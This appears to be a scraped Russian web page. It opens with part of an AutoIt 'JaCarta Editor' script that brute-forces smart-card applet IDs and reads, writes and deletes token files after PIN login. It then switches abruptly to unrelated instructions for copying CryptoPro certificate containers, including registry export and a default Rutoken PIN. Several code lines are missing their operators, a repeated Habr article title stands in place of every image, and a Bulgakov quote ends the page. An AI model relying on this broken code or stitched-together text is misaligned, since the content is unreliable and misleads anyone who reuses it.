		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCTokenMinPinGet($BindId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenMinPinGet', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCTokenUnLock($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenUnLock', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCTokenLock($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenLock', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCTokenPinAttemptsGet($BindId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenPinAttemptsGet', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

;Начало приложения
Opt("GUIOnEventMode", 1)
Dim $BindId, $filelog, $Result, $DirIdRoot=False, $Edit, $msg, $Fileinfo, $treeview, $generalitem, $displayitem, $diritem, $Edit, $SrcSubId, $Output, $pinbutton, $hPinWin, $PinEdit, $pinokbutton, $pincancelbutton, $Pin, $Edit1, $Reader, $Applet, $AppletID, $text, $CreateDirWin
Global $Dir1, $Dir2
Dim $hParentWin, $hChildWin, $sItemText, $folderbutton, $filebutton, $deletebutton, $CreateFileWin, $FileEdit, $fileokbutton, $filecancelbutton, $publicbutton, $privatebutton, $sizefile
Dim $hFile, $hMain
Global Enum $idSave= 1000, $Save
Dim $Appname = 'JaCarta Editor'


;Функция получения applet ID брутфорсом
Func Applet()
	  GUICtrlSetData($Output, 'Попытка получить applet ID... '&@CRLF,1)
	  Local $Result, $AppletTemp= 0
	  For $Applet = 0 To 65535  Step 1
		 $Result = 0
		 $Result=JCSelectApplet($BindId,$Applet) ; 0x2001 PROJAVA для E-token, 0x1002 PRO, 0x1001 R2, 0x2202 GOST, 0x2205 DATASTORE, 0x2206 ГОСТ-2, 0x2201, 0x2204 (чёрные JaCarta)

			If $Result = True   Then
			   $AppletTemp=$Applet
			   $AppletID=$Applet
			   ExitLoop
			EndIf
	  Next

	  Local $Id=ETTokenLabelGet($BindId)
	  if $Id= False Then
		 For $Applet=$AppletTemp 1 To 65535  Step 1
			 $Result=0
			 $Result=JCSelectApplet($BindId,$Applet)
			   If $Result = True   Then
				  ExitLoop
			   EndIf
		 Next
	  EndIf
	  JCSelectApplet($BindId,$Applet)
	  GUICtrlSetData($Output, 'Select applet 0x'&hex($Applet,4)&@CRLF,1)
	  $AppletID=$Applet
EndFunc


;Просмотр директорий и файлов в цикле
Func PrintDir($Id,$Prefix)

	  Local $EnumId=ETDirEnumOpen($Id)
	  While 1
			Local $dir=ETDirEnumNext($EnumId)
			If @error Then ExitLoop
			Local $DirId=ETDirOpen($dir,$Id)
			Local   $Dirinfo
			$Dirinfo=ETDirGetInfo($DirId)
			Local $Dirtext='(dir)'&hex($dir,4)
			$diritem = _GUICtrlTreeView_AddChild($treeview,$Prefix, $Dirtext)
			PrintDir($DirId,$diritem)
			ETDirClose($DirId)
	  WEnd
	  ETDirEnumClose($EnumId)

	  $EnumId=ETFilesEnumOpen($Id)
	  While 1
			Local $file=ETFilesEnumNext($EnumId)
			If @error Then ExitLoop
			Local $FileId=ETFileOpen($file,$Id)
			$Fileinfo=ETFileGetInfo($FileId)
			Local $filetext='(file)'&hex($file,5)&' '&'p: '&$Fileinfo[1]&' s: '&$Fileinfo[2]&@CRLF
			_GUICtrlTreeView_AddChild($treeview,$Prefix,$filetext)
	  WEnd
	  ETFilesEnumClose($EnumId)
EndFunc

;операции подключения к токену и получения от него информации
Func List()
		 GUICtrlSetData($Output, '')
		 Local $text
		 Local $EnumId=ETReadersEnumOpen()

		 GUICtrlSetData($Output, 'В системе установлены ридеры:'&@CRLF,1)
		 While 1
			   $Reader=ETReadersEnumNext($EnumId)
			   If @error Then ExitLoop
			   GUICtrlSetData($Output, $Reader[0]&@CRLF,1)
		 WEnd
		 ETReadersEnumClose($EnumId)
		 Local $EnumId=ETReadersEnumOpen()
		 $Reader=ETReadersEnumNext($EnumId)
		 $BindId=ETTokenBind($Reader[0])
		 $Result=JCTokenLock($BindId)
		 GUICtrlSetData($Output, 'Подключен ридер '&$Reader[0]&@CRLF,1)

		 ;если не получается получить ID токена, значит надо подбирать AppletID
		 $Result=ETTokenIDGet($BindId)
		 if $Result= False Then
			if $AppletID<>0 Then
			   JCSelectApplet($BindId,$AppletID)
			Else
			   Applet()
			EndIf
		 EndIf

		 $Result=ETTokenIDGet($BindId)
		 $text=$Reader[0]&' ID '&$Result
		 $generalitem = _GUICtrlTreeView_AddChild($treeview,0,$text)
		 $Result=ETTokenLabelGet($BindId)
		 GUICtrlSetData($Output, 'Label: '&$Result&@CRLF,1)
		 $DirIdRoot=ETRootDirOpen($BindId,0) ;0xF007 для банков 0x0001 для крипто про
		 $Result=JCTokenPinAttemptsGet($BindId)

		 ;если был введён пин код начинаем авторизацию
		 If $Pin <> 0   Then
			$Result=JCTokenLogin($BindId,$Pin)
			If $Result=False   Then
			   $Result=JCTokenPinAttemptsGet($BindId)
			   MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result )
			Else
			GUICtrlSetData($Output, 'Login OK'&@CRLF,1)
			EndIf
		 EndIf
		 $Result=JCTokenPinAttemptsGet($BindId)
		 GUICtrlSetData($Output, 'Количество попыток ввода PIN кода: '&$Result&@CRLF,1)
		 PrintDir($DirIdRoot,0)
		 ETTokenUnbind($BindId)
		 ETReadersEnumClose($EnumId)

EndFunc

;закрытие дочерних окон и программы
Func onClose()
	  GUISetState(@SW_HIDE, $hPinWin)
	  GUISetState(@SW_HIDE, $hChildWin)
	  GUISetState(@SW_HIDE, $CreateFileWin)
	  if @GUI_WinHandle=$hParentWin Then
		 Exit
	  EndIf
EndFunc

;вывод окна ввода пин кода
Func onPin()
	  GUISetState(@SW_SHOW, $hPinWin )
EndFunc

;подготовка к авторизации после ввода пин кода
Func onPinOK()
	  $Pin=GUICtrlRead($PinEdit)
	  GUISetState(@SW_HIDE, $hPinWin)
	  _GUICtrlTreeView_DeleteAll ($treeview)
	  List()
EndFunc

;отмена ввода пин кода
Func onPinCancel()
	  GUISetState(@SW_HIDE, $hPinWin)
EndFunc

;функция удаления
Func Delete()
	  If $Pin=0   Then
		 MsgBox(0x10,$Appname,'Для удаления файла сначала введите пин код' )
	  Else
		 Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
		 Local $Del = _GUICtrlTreeView_GetText($treeview, $hItem)
		 if _GUICtrlTreeView_GetChildren($treeview, $hItem)=False Then
			$Del=StringTrimLeft (  $Del, 6 )
			Local $p=0
			$p=StringInStr ($Del,"p:")
			$Del=StringMid ( $Del, 1, $p-2 )
			if MsgBox(4   32, $Appname,  'Удалить '& $Del &' ?') = 6 Then
			   Local $DirID=_GUICtrlTreeView_GetParentHandle($treeview, $hItem)
			   Local $Dir= _GUICtrlTreeView_GetText($treeview, $DirID)
			   $Dir=StringTrimLeft (  $Dir, 5 )
			   $BindId=ETTokenBind($Reader[0])
			   $Result=JCTokenLock($BindId)

			   if $AppletID<>0 Then
				  JCSelectApplet($BindId,$AppletID)
			   EndIf

			   If $Pin <> 0   Then
				  $Result=JCTokenLogin($BindId,$Pin)
				  If $Result=False   Then
					 $Result=JCTokenPinAttemptsGet($BindId)
					 MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result)
				  EndIf
			   EndIf

			   Local $HDir=GetDir(ETRootDirOpen($BindId,0), $Dir)
			   Local $DELFile =JCFileOpen(Dec ($Del), $HDir)
			   JCFileDelete($DELFile )
			   ETDirClose($HDir)
			   ETTokenUnbind($BindId)

			   _GUICtrlTreeView_DeleteAll ($treeview)
               List()
			EndIf

		 Else
			   MsgBox(0x10,$Appname,'Сначала удалите все файлы в папке после чего папка будет удалена автоматически' )
		 EndIf
	  EndIf
EndFunc

;функция вывода окна создания файла
Func onFileCreate()
	  If $Pin=0   Then
		 MsgBox(0x10,$Appname,'Для создания файла сначала введите пин код' )
	  Else
		 Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
		 Local $FileText = 0, $Dir1=0, $Dir2=0
		 $FileText = _GUICtrlTreeView_GetText($treeview, $hItem)

		 ;Проверка не выбрана ли корневая директория
		 if  StringLen($FileText) >20 Then
			   GUICtrlSetData($FileEdit, '')
			   GUICtrlSetData($FileEdit, '//',0)
		 Else
			   $Dir1=StringTrimLeft (  $FileText, 5 )

			   Local $ParentID=_GUICtrlTreeView_GetParentHandle($treeview, $hItem)
			   Local $ParentDir= _GUICtrlTreeView_GetText($treeview, $ParentID)
			   if StringInStr ($ParentDir,"Dir")=0 Then
				  $ParentDir=''
				  GUICtrlSetData($FileEdit, '')
				  GUICtrlSetData($FileEdit, '//'&$Dir1&'/',0)
			   Else
				  $Dir2=StringTrimLeft (  $ParentDir, 5 )
				  $Dir2='/'&$Dir2
				  GUICtrlSetData($FileEdit, '')
				  GUICtrlSetData($FileEdit, '/'&$Dir2&'/'&$Dir1&'/',0)
			   EndIf

		 EndIf
		 GUISetState(@SW_SHOW, $CreateFileWin)
	  EndIf
EndFunc


;отмена создания файла
Func onFileCancel()
	  GUISetState(@SW_HIDE, $CreateFileWin)
EndFunc

;функция создания файла
Func onFileOK()
	  Local $filename=GUICtrlRead($FileEdit)
	  Local $isPrivate=_GUICtrlButton_GetCheck($privatebutton)
	  Local $fileSize=GUICtrlRead($sizefile)
	  $BindId=ETTokenBind($Reader[0])
	  $Result=JCTokenLock($BindId)

	  if $AppletID<>0 Then
		 JCSelectApplet($BindId,$AppletID)
	  EndIf

	  If $Pin <> 0   Then
		 $Result=JCTokenLogin($BindId,$Pin)
		 If $Result=False   Then
			$Result=JCTokenPinAttemptsGet($BindId)
			MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result )
		 EndIf
	  EndIf

	  Local $rootdir=ETRootDirOpen($BindId,0)
	  Local $text=StringTrimLeft (  $filename, 2 )
	  Local $text1=StringLeft($text, 4)
	  $dir1=JCDirOpen(Dec ($text1), $rootdir)
	  if $dir1=false Then
		 $dir1= ETDirCreate(Dec ($text1), $rootdir)
	  EndIf

	  if StringLen($text) >12 Then
		 $text=StringTrimLeft (  $text, 5 )
		 $text1=StringLeft($text, 4)
		 $dir2=JCDirOpen(Dec ($text1), $dir1)
		 if $dir2=false Then
			$dir2= ETDirCreate(Dec ($text1), $dir1)
		 EndIf

		 $text=StringTrimLeft (  $text, 5 )
		 Local $DstFile=JCFileCreate(Dec ($text),$Dir2,$fileSize,$isPrivate)
		 JCFileClose($DstFile)
	  Else
		 $text=StringTrimLeft (  $text, 5 )
		 Local $DstFile=JCFileCreate(Dec ($text),$Dir1,$fileSize,$isPrivate)
		 JCFileClose($DstFile)
	  EndIf
	  ETTokenUnbind($BindId)
	  GUISetState(@SW_HIDE, $CreateFileWin)
	  GUISetState(@SW_SHOW, $hParentWin)
	  _GUICtrlTreeView_DeleteAll ($treeview)
	  List()
EndFunc

;сохранение изменённого файла на токене
Func SaveFile()
	  If $Pin=0   Then
		 MsgBox(0x10,$Appname,'Для сохранения файла сначала введите пин код' )
	  Else
		 Local $filebody=GUICtrlRead($Edit1)
		 Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
		 Local $FileEd = _GUICtrlTreeView_GetText($treeview, $hItem)
		 $FileEd=StringTrimLeft (  $FileEd, 6 )
		 Local $p=0
		 $p=StringInStr ($FileEd,"p:")
		 $FileEd=StringMid ( $FileEd, 1, $p-2 )
		 Local $DirID=_GUICtrlTreeView_GetParentHandle($treeview, $hItem)
		 Local $Dir= _GUICtrlTreeView_GetText($treeview, $DirID)
		 $Dir=StringTrimLeft (  $Dir, 5 )
		 $BindId=ETTokenBind($Reader[0])
		 $Result=JCTokenLock($BindId)
		 if $AppletID<>0 Then
			JCSelectApplet($BindId,$AppletID)
		 EndIf

		 If $Pin <> 0   Then
			$Result=JCTokenLogin($BindId,$Pin)
			If $Result=False   Then
			   $Result=JCTokenPinAttemptsGet($BindId)
			   MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result)
			EndIf
		 EndIf

		 Local $HDir=GetDir(ETRootDirOpen($BindId,0), $Dir)
		 Local $File=JCFileOpen(Dec ($FileEd),$HDir)
		 Local $Data =Binary('0x' & $filebody)
		 JCFileWrite($File, $Data)
		 JCFileClose($File)
		 ETDirClose($HDir)

		 ETTokenUnbind($BindId)
		 GUISetState(@SW_HIDE, $hChildWin)
		 _GUICtrlTreeView_DeleteAll ($treeview)
         List()

	  EndIf
EndFunc

;сохранение открытого на токене файла на компьютер
Func SaveFileAs()
	  Local  $varFile = 0
	  $varFile = FileSaveDialog( "Сохранить файл", @MyDocumentsDir & "", "Бинарные файлы (*.bin)", 16,'',$hParentWin)

	  If StringLen($varFile) > 3 Then
		 Local  $filedest
		 $filedest = FileOpen($varFile, 17)
		 ; Check if file open
		 If $filedest = -1 Then
			MsgBox(0, "Error", "Unable to open file.")
			Exit
		 EndIf

		 FileWrite($filedest, $text)
		 FileClose($filedest)
	  EndIf

EndFunc

;Обработка команд меню окна просмотра и редактирования файла
Func WM_COMMAND($hWnd, $iMsg, $wParam, $lParam)
    #forceref $hWnd, $iMsg, $lParam

    Switch $wParam
	  Case $Save
            SaveFile()
	  Case $idSave
            SaveFileAs()
    EndSwitch
EndFunc   ;==>WM_COMMAND


;инициализация графического интерфейса
Func GUIInit()
	  $hParentWin=	GUICreate($Appname, 560, 400)
	  GUISetOnEvent($GUI_EVENT_CLOSE,'onClose')

	  ;Создание главного окна
	  $treeview = GUICtrlCreateTreeView(6, 6, 400, 300, BitOR($TVS_HASBUTTONS, $TVS_HASLINES, $TVS_LINESATROOT, $TVS_DISABLEDRAGDROP, $TVS_SHOWSELALWAYS), $WS_EX_CLIENTEDGE)
					 $Output = GUICtrlCreateEdit("" , 6, 320, 400, 70, $ES_AUTOVSCROLL   $WS_VSCROLL   $ES_NOHIDESEL   $ES_WANTRETURN)
					 $pinbutton = GUICtrlCreateButton("&Ввести PIN код", 430, 20, 100, 50)
					 $filebutton = GUICtrlCreateButton("&Создать", 430, 80, 100, 50)
					 $deletebutton = GUICtrlCreateButton("&Удалить", 430, 140, 100, 50)

	  ;Создание окна ввода пин кода
	  $hPinWin = GUICreate('Введите PIN код', 200, 200, -1, -1, $WS_SYSMENU, -1, $hParentWin)
                    $PinEdit = GUICtrlCreateInput ("" , 50, 40, 100, 25, $ES_PASSWORD   $ES_NOHIDESEL   $ES_WANTRETURN)
                    $pinokbutton = GUICtrlCreateButton("&OK", 20, 100, 60, 40)
                    $pincancelbutton = GUICtrlCreateButton("&Отмена", 110, 100, 60, 40)

	  ;Окно создания файла
	  $CreateFileWin = GUICreate('Создание папок и файла', 340, 350, -1, -1, $WS_SYSMENU, -1, $hParentWin)
                    $FileEdit = GUICtrlCreateInput ("" , 50, 70, 230, 25)
                    $fileokbutton= GUICtrlCreateButton("&OK", 70, 240, 60, 40)
                    $filecancelbutton = GUICtrlCreateButton("&Отмена", 210, 240, 60, 40)
                    $publicbutton= _GUICtrlButton_Create($CreateFileWin, "Public", 100, 120, 50, 30,  $BS_AUTORADIOBUTTON, 0)
                    $privatebutton=_GUICtrlButton_Create($CreateFileWin, "Private", 160, 120, 50, 30,  $BS_AUTORADIOBUTTON, 0)
                    _GUICtrlButton_SetCheck($publicbutton,  $BST_CHECKED)
                    Local $label=GUICtrlCreateLabel('Введите имя папок и файла в hex формате 1001 ', 70, 20, 170, 40, $SS_CENTER)
                    $sizefile = GUICtrlCreateInput ("10" , 220, 175, 50, 20)
                    Local $label1=GUICtrlCreateLabel('Введите размер файла в байтах', 20, 180, 200, 60, $SS_CENTER)

	  ;Окно редактирования файла
	  $hChildWin = GUICreate($sItemText, 300, 230, -1, -1, $WS_SYSMENU, -1, $hParentWin)
				    $Edit1 = GUICtrlCreateEdit("", 10, 10, 240, 160, $ES_AUTOVSCROLL   $WS_VSCROLL   $ES_NOHIDESEL   $ES_WANTRETURN)

	  ; Создаёт меню "Файл" в окне редактирования файла
	  $hFile = _GUICtrlMenu_CreateMenu ()
	  _GUICtrlMenu_InsertMenuItem ($hFile, 0, 'Сохранить как...', $idSave)
	  _GUICtrlMenu_InsertMenuItem ($hFile, 1, 'Сохранить изменения', $Save)
	  $hMain = _GUICtrlMenu_CreateMenu ()
	  _GUICtrlMenu_InsertMenuItem ($hMain, 0, 'Файл', 0, $hFile)
	  _GUICtrlMenu_SetMenu ($hChildWin, $hMain)

	  ;Определение событий
	  GUICtrlSetOnEvent($filebutton,'onFileCreate')
	  GUICtrlSetOnEvent($deletebutton,'Delete')
	  GUICtrlSetOnEvent($pinbutton,'onPin')
	  GUICtrlSetOnEvent($pinokbutton,'onPinOK')
	  GUICtrlSetOnEvent($pincancelbutton,'onPinCancel')
	  GUICtrlSetOnEvent($fileokbutton,'onFileOK')
	  GUICtrlSetOnEvent($filecancelbutton,'onFileCancel')
	  GUISetOnEvent($GUI_EVENT_CLOSE,'onClose')

	  GUISetState(@SW_SHOW, $hParentWin)
	  GUIRegisterMsg(0x0111, "WM_COMMAND")
EndFunc

;запуск основных функций приложения
GUIInit()
List()

;функция обработки двойного щелчка мышью на дереве файлов и директорий
GUIRegisterMsg($WM_NOTIFY, "MY_WM_NOTIFY")
Global $iDoubleClick = 0

Func MY_WM_NOTIFY($hWnd, $Msg, $wParam, $lParam)

    Local $tagNMHDR, $vEvent

    Switch $wParam
        Case $treeview
            $tagNMHDR = DllStructCreate("int;int;int", $lParam)
            If @error Then Return
            $vEvent = DllStructGetData($tagNMHDR, 3)
            If $vEvent = $NM_DBLCLK Then
                $iDoubleClick = 1
            EndIf
    EndSwitch
    $tagNMHDR = 0

EndFunc  ;==>MY_WM_NOTIFY

;функция поиска директории, в которой кликнули по файлу
Func GetDir( $Id,$Dir_Id)
	  Local $DirId=0
	  Local $DirResult=0
	  Local $EnumId=ETDirEnumOpen($Id)

	  While 1
		Local $dir=ETDirEnumNext($EnumId)
		If @error Then ExitLoop
			$DirId=ETDirOpen($dir,$Id)
			if hex($dir,4)=$Dir_Id Then
			   $DirResult=$DirId
			   ExitLoop
			EndIf
			$DirResult=GetDir( $DirId, $Dir_Id)
			ETDirClose($DirId)
	  WEnd
	  ETDirEnumClose($EnumId)
	  Return  $DirResult
EndFunc

;функция открытия файла на токене и вывода его содержимого в дочернее окно
Func ListFile($file, $Dir_Id)
	  $BindId=ETTokenBind($Reader[0])
	  $Result=JCTokenLock($BindId)

	  if $AppletID<>0 Then
		 JCSelectApplet($BindId,$AppletID)
	  EndIf
	  If $Pin <> 0   Then
		 $Result=JCTokenLogin($BindId,$Pin)
		 If $Result=False   Then
			$Result=JCTokenPinAttemptsGet($BindId)
			MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result )
		 EndIf
	  EndIf

	  if StringLen($Dir_Id)>10 Then
		 $HDir=ETRootDirOpen($BindId,0)
	  Else
		 Local $HDir=GetDir(ETRootDirOpen($BindId,0), $Dir_Id)
	  EndIf

	  $SrcSubId=JCFileOpen(Dec ($file), $HDir)
	  $text=JCFileRead($SrcSubId)
	  GUICtrlSetData($Edit1, hex($text))
	  JCFileClose($SrcSubId)
	  ETDirClose($HDir)
	  ETTokenUnbind($BindId)
EndFunc

;обработка двойного щелчка мышью и получения имени файла на токене
   While 1

      if $iDoubleClick Then
		 Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
		 if _GUICtrlTreeView_GetChildren($treeview, $hItem)=False Then
			Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
			$sItemText = _GUICtrlTreeView_GetText($treeview, $hItem)
			if StringInStr ($sItemText,"Dir")=0 Then
			   Local $text1=0
			   $text1=StringTrimLeft (  $sItemText, 6 )
			   Local $p=0
			   $p=StringInStr ($text1,"p:")
			   $sItemText=0
			   $sItemText=StringMid ( $text1, 1, $p-2 )
			   GUISetState(@SW_SHOW, $hChildWin)
			   GUISetOnEvent($GUI_EVENT_CLOSE,'onClose')
			   Local $DirID=_GUICtrlTreeView_GetParentHandle($treeview, $hItem)
			   Local $Dir= _GUICtrlTreeView_GetText($treeview, $DirID)
			   $text1=StringTrimLeft (  $Dir, 5 )
			   $Dir=$text1
			   ListFile($sItemText, $Dir)
			EndIf
		 EndIf
		 $iDoubleClick = 0
     EndIf

   WEnd


Читайте также:  Рутокен или етокен? В чем разница

Источники информации

eToken Developer’s Guide Version 3.50 (декабрь 2003)

Как скопировать сертификат с рутокена на компьютер, из криптопро на флешку

Подробная инструкция о том, как скопировать сертификат на другой носитель: копирование средствами Windows, копирование на профиле диагностики, массовое копирование, копирование с помощью КриптоПро CSP, экспорт PFX-файла и его установка, а также копирование контейнера из реестра другого пользователя.

Если для работы используется дискета или flash-накопитель, скопировать контейнер с сертификатом можно средствами Windows (этот способ подходит для версий КриптоПро CSP не ниже 3.0). Папку с закрытым ключом (и, если есть, файл сертификата — открытый ключ) поместите в корень дискеты / flash-накопителя (если поместить не в корень, то работа с сертификатом будет невозможна). Название папки при копировании рекомендуется не изменять. 

В папке с закрытым ключом должно быть 6 файлов с расширением.key. Как правило, в закрытом ключе присутствует открытый ключ (файл header.key в этом случае будет весить больше 1 Кб). В этом случае копировать открытый ключ необязательно. Пример закрытого ключа — папки с шестью файлами и открытого ключа — файла с расширением.cer.

Если у вас MacOS, смотрите инструкцию «Как скопировать контейнер с сертификатом на MacOS».

1. Зайдите на профиль Диагностики «Копирования» по ссылке.

2. Вставьте носитель, на который необходимо скопировать сертификат.

3. На нужном сертификате нажмите на кнопку «Скопировать».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Если на контейнер был задан пароль — появится сообщение  «Введите пароль для устройства с которого будет скопирован сертификат».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Введите пароль и нажмите на кнопку «Далее».

4. Выберите носитель, куда необходимо скопировать сертификат и нажмите «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

5. Задайте имя новому контейнеру и нажмите на кнопку «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

6. Должно появиться сообщение об успешном копировании сертификата. 

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

  1. Скачайте и запустите утилиту. Дождитесь загрузки всего списка контейнеров/сертификатов и отметьте нужные галочками.
  2. Выберите меню «Массовые действия» и нажмите на кнопку «Копирование контейнеров».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

3. Выберите носитель для хранения копии контейнера и нажмите «ОК». При копировании в реестр можно поставить галочку на пункте «Копировать к ключевой контейнер компьютера», тогда после копирования контейнер будет доступен всем пользователям данного компьютера.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

4. После копирования нажмите внизу слева кнопку «Обновить».
Если хотите работать со скопированными контейнерами — необходимо установить сертификаты.

Читайте также:  Главные преимущества ЭЦП «Тензор»

Выберите «Пуск» > «Панель управления» > «КриптоПро CSP». Перейдите на вкладку «Сервис» и кликните по кнопке «Скопировать».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

В окне «Копирование контейнера закрытого ключа» нажмите на кнопку «Обзор».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Выберите контейнер, который необходимо скопировать, и кликните по кнопке «Ок», затем «Далее». Если вы копируете с рутокена, то появится окно ввода, в котором следует указать pin-код. Если вы не меняли pin-код на носителе, стандартный pin-код — 12345678.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Придумайте и укажите вручную имя для нового контейнера. В названии контейнера допускается русская раскладка и пробелы. Затем кликните «Готово».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

В окне «Вставьте чистый ключевой носитель» выберите носитель, на который будет помещен новый контейнер.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

На новый контейнер будет предложено установить пароль. Рекомендуем установить такой пароль, чтобы вам было легко его запомнить, но посторонние не могли его угадать или подобрать. Если вы не хотите устанавливать пароль, можно оставить поле пустым и нажать «ОК».

Не храните пароль/pin-код в местах, к которым имеют доступ посторонние. В случае утери пароля/pin-кода использование контейнера станет невозможным.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Если вы копируете контейнер на смарт-карту ruToken, сообщение будет звучать иначе. В окне ввода укажите pin-код. Если вы не меняли pin-код на носителе, стандартный pin-код — 12345678.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

После копирования система вернется на вкладку «Сервис» КриптоПро CSP. Копирование завершено. Если вы планируете использовать для работы в Экстерне новый ключевой контейнер,  установите его через Крипто Про.

При копировании может возникнуть «Ошибка копирования сертификата», если у вас нет лицензии на КриптоПроCSP или контейнер получил признак «неэкспортируемый». Справиться с этим поможет инструкция.

Экспорт сертификата с закрытым ключом

1. Откройте оснастку работы с сертификатами:

— Пуск → Все программы → КриптоПро → Сертификаты
либо
— ​Internet Explorer → Сервис → Свойства обозревателя → вкладка Содержание → Сертификаты.

2. Откройте сертификат, который нужно скопировать. На вкладке «Состав» нажмите «Копировать в файл».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

3. В «Мастере экспорта сертификтов» нажмите «Далее» и выберите пункт «Да, экспортировать закрытый ключ». Нажмите «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

4. На следующем этапе поставьте галочки у пунктов «Включить по возможности все сертификаты в путь сертификации» и «Экспортировать все расширенные свойства», остальные галочки необходимо убрать. Нажмите «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

5. Обязательно задайте пароль для экспортируемого файла. Данный пароль не рекомендуется сообщать по электронной почте. Нажмите «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

6. Укажите имя файла, выберите путь сохранения и нажмите «Далее», затем нажмите «Готово».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

7. Экспортируйте открытый ключ сертификата (см. Экспорт открытого ключа).

8. Заархивируйте полученные файлы форматов .pfx и .cer.

Установка сертификата с закрытым ключом

1. Откройте .pfx файл. Сразу запустится «Мастер импорта сертификатов».

2. Укажите хранилище «Текущий пользователь» и нажмите «Далее», затем снова «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

3. Введите пароль, который указывали при экспорте и поставьте галочку на пункте «Пометить этот ключ как экспортируемый…», иначе наче контейнер нельзя будет скопировать в дальнейшем. Нажмите «Далее».

Читайте также:  Как аннулировать эцп при увольнении. Как заменить сертификат электронной подписи? Как отозвать электронную цифровую подпись

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

4. Выберите пункт «Поместить все сертификаты в следующее хранилище», нажмите на кнопку «Обзор», выберите «Личное» и нажмите на кнопку «ОК». Нажмите «Далее», а затем «Готово».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

5. В окне КриптоПро выберите носитель, на который хотите сохранить контейнер. При необходимости задайте пароль.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

6. Для корректной работы сертификата со встроенной лицензией переустановите сертификат в контейнер (см. Как установить личный сертификат в КриптоПро).

1. Необходимо найти ветку реестра с нужным контейнером. Ветки реестра, в которых может быть контейнер закрытого ключа:

2. После того, как нашли нужную ветку, нажмите правой кнопкой мыши на ветку с контейнером и выберите «Экспортировать».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

3. Введите имя файла и нажмите на кнопку «Сохранить».

4. Скопируйте файл на тот компьютер, где будете работать с электронной подписью обычными средствами Windows.

5. Пройдите диагностику на сайте https://help.kontur.ru .

6. Как диагностика закончится, нажмите на ссылку «Показать результаты».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

7. В списке результатов выберите «Информация о Windows». Скопируйте оттуда SID текущего пользователя.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

8. Откройте экспортированный файл реестра с помощью «Блокнота».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

9. Замените SID пользователя на скопированный ранее.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Если ветка реестра экспортируется из 32-битной ОС в 64-битную ОС, добавьте в путь ветки реестра параметр Wow6432Node как на скриншоте:

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

10. Сохраните изменения и закройте файл.

11. Снова нажмите на файл правой кнопкой мыши и выберите «Слияние». В появившемся окне нажмите «Да».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Должно появиться сообщение о том, что данные успешно внесены в реестр. Нажмите «ОК».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр 

Если появляется сообщение «Ошибка при доступе к реестру», необходимо еще раз проверить все пути в файле на корректность. Также проверьте, чтобы в пути не было лишних пробелов, знаков.

12. После того, как данные будут внесены в реестр, необходимо вручную установить сертификат (см. Как установить личный сертификат). 

Тестируем jacarta webclient или храните токены в сейфе

«Когда на мгновение чёрный покров отнесло в сторону, Маргарита на скаку обернулась и увидела, что сзади нет не только разноцветных башен с разворачиващимся над ними аэропланом, но нет уже давно и самого города, который ушёл в землю и оставил по себе только туман.»

М.А. Булгаков
«Мастер и Маргарита»

